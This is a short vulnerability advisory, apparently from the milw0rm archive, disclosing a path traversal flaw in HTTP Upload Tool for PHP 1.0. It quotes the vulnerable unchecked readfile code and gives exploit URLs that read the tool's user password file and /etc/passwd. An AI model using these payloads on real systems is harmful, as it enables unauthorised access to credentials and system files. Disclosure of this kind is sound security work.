#######################################################################################
# Target:
#
# HTTP Upload Tool For PHP 1.0
# http://uploadtool.sourceforge.net/
#
# Vulnerability:
#
# Information disclosure
#
# Description:
#
# The download.php file in Upload Tool for PHP neither verifies that a
# requestor has authenticated, nor performs any sanity checking on the file
# being requested. This allows an unauthenticated user to download any file
# which the web server has read rights to, including the users.conf file which
# contains a list of Upload Tool's users and their hashed passwords.
#
# Vulnerable Code (truncated):
#
# $filename = $_GET['filename'];
# readfile("$filename");
#
# Exploit:
#
# http://www.examplesite.com/upload/bin/download.php?filename=../conf/users.conf
# http://www.examplesite.com/upload/bin/download.php?filename=/etc/passwd
#
# Discovered:
#
# Craig Heffner
# heffnercj [at] gmail.com
# http://www.craigheffner.com
#######################################################################################
# milw0rm.com [2006-11-16]
